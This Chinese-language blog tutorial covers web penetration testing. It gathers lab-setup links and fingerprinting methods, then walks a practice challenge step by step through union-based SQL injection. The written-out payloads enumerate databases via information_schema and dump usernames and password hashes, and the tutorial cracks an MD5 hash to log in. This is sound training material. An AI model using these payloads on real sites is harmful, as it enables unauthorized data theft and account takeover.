(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

忍者测试系统的安装:

忍者安全渗透系统(NINJITSU OS V3)的安装详细过程,亲测新旧vm版本都可安装,附带下载来源_黑色地带(崛起)的博客-CSDN博客

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

靶场环境搭建:

①phpstudy以及pikachu-master环境搭建

新版phpstudy搭建pikachu靶场环境详细过程_黑色地带(崛起)的博客-CSDN博客

②sqli-labs-master靶场环境搭建

详细新版phpstudy安装以及sqli-labs-master靶场环境搭建过程附带文件链接_黑色地带(崛起)的博客-CSDN博客

③hackbar的安装

安装hackbar,火狐2分钟解决(优选),及如何打开使用_黑色地带(崛起)的博客-CSDN博客

可能出现的问题:

①pikachu可能出现的问题:

“数据库连接失败,请检查config.inc.php配置文件”常见2种可能错误_黑色地带(崛起)的博客-CSDN博客

②sqli-labs-master可能出现的问题:

sqli-labs出现“Fatal error:Uncaught Error”的解决办法_黑色地带(崛起)的博客-CSDN博客

sqli-labs出现“Unable to connect to the database: security”问题(phpstudy搭建)_黑色地带(崛起)的博客-CSDN博客

信息收集

测试前的准备:

1.网站路径

burpsuite或者sqlmap进行网站爬取

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

直接使用kali Linux等渗透系统中sqlmap,简单的使用入门_黑色地带(崛起)的博客-CSDN博客

 

2.操作系统:

windows和linux对大小写敏感不同,大小写都不报错的是windows

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

3.数据库类型判断:

方法一:

在开发者工具里面分析数据包的头部文件

发现是Nginx 

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

方法二:

根据前端编写判断

asp:  SQL Server,Access
.net:  SQL Server
php:  MySQL,PostgreSQL
java:  Oracle,MySQL

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

 

方法三:

扫描端口判断

Oracle:默认端口1521
SQL Server:默认端口1433
MySQL:默认端口3306

Pointbase:默认是9092

DB2:默认是5000 

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

没扫出来

 

方法四:

根据各种数据库特有函数进行判读

/*  是MySQL数据库的注释符
--  是Oracle和SQL Server支持的注释符
;  是子句查询标识符,Oracle不支持多行查询,若返回错误,则说明可能是Oracle数据库
#  是MySQL中的注释符,返回错误则说明可能不是MySQL,也支持-- 和/**/

方法五:

存在注入点的条件下,根据数据库特有数据表判断

①MySQL(version>5.0)

插入    and (select count(*) from information_schema.TABLES)>0 and 1=1

②Oracle

插入  and (select count(*) from sys.user_tables)>0 and 1=1

③SQL Server

插入  and (select count(*) from sysobjects)>0 and 1=1

4.数据库版本:

 查看数据头来查看数据库及其版本(有的可能屏蔽了看不见)(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

判断是否有注入点:

方法一:

id是最普遍的,基本上所有表都会有这个字段

在后面加上?id=1

如果输出id=1的相关信息,则说明变量没有过滤,或者过滤不严谨

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

 没做过滤,或过滤不严谨(下图未过滤)

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

方法二:

加上单引号' 

如果出现错误提示,则可能存在注入漏洞(可能)

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

 

 

方法三:

用数据库逻辑运算来判断(有传入参数的时候用)

and 1=1 页面访问正常       得出  真且真为真

​ and 1=2页面访问错误     得出  真且假为假

​ 所以说明我们的语句写进去了,可能存在注入点

(下图未做任何不法行为)

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

 

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

and 1=1  和id1=2 都能正常显示页面,说明没有被写入

(还有其他方法,一步一步总结)

墨者题库:

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

 

第一步:

判断是否有注入点

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

(注意:?id=1要换到第二行)

and1=1 正常显示 

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题 and 1=2 无法正常显示

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

所以存在注入点 

第二步:

猜测字段数

①order by (number)

②union select 1,2……

方法一:

后面的数字一个一个猜

order by 5    无显示

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

 order by 4  (正常显示出来了,说明有4个)

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

 方法二:

(重申:这个?id=1 要拿到第二行)

union select 1,2,3,4,5

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

 union select 1,2,3,4 

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

 

第三步:

报错猜解可显示字段

(重申:改为 ?id=-1  且放到第二行)

?id=-1 select 1,2,3,4   (这个-1可以随便写成任意不可能的数)

 得到可显示字段为2个,为2,3      

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

第四步:

获取数据库相关信息

数据库版本:version()

数据库名字:database()

数据库用户:user()

?id=-1 union select 1,version(),database(),4#

(#或--+把后面的语句注释了)

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

 

第五步:

获取数据库下信息

借助information_schema

information_schema.tables 所有表名

information_schema.columns 所有的列名

table_name #表名

column_name #列名

table_schema #数据库名

查询数据库所下的表名

?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'#

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

 查询StormGroup_member表下列名

?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

 

?id=-1 union select 1,name,password,4 from StormGroup_member where status=1#

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

 

第六步:

解密

开启靶机的时候,就提示掌握cmd5加解密(有一个信息的提醒)

md5在线解密破解,md5解密加密 (cmd5.com)

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题mozhe 

 552761

 

第七步:

登录得到key 

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

(12)web安全|渗透测试|网络安全 信息收集,注入获取数据图解,附带靶场搭建教程及可能遇见的问题

上一篇:算法笔记 —— 二分答案


下一篇:连续登陆问题案例